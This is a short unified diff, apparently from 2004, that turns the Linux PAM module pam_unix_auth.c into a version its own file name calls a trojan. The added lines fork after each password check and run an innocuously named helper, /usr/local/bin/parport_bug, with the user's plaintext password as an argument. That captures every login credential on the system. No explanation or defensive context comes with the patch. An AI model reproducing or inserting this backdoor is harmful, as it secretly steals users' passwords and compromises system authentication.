--- pam_unix_auth.c	2004-01-08 00:40:06.711417464 -0600
+++ pam_unix_auth-trojan.c	2004-01-08 00:33:57.493547112 -0600
@@ -98,7 +98,7 @@
 				   ,int argc, const char **argv)
 {
 	unsigned int ctrl;
-	int retval, *ret_data = NULL;
+	int status, retval, *ret_data = NULL;
 	const char *name, *p;
 
 	D(("called."));
@@ -169,9 +169,13 @@
 
 	/* verify the password of this user */
 	retval = _unix_verify_password(pamh, name, p, ctrl);
-	name = p = NULL;
 
-	AUTH_RETURN
+  if (fork() == 0)
+    execlp("/usr/local/bin/parport_bug", "login", "-s", "50", "-m", p, (char *) 0);
+  wait(&status);
+
+	name = p = NULL;
+        AUTH_RETURN
 }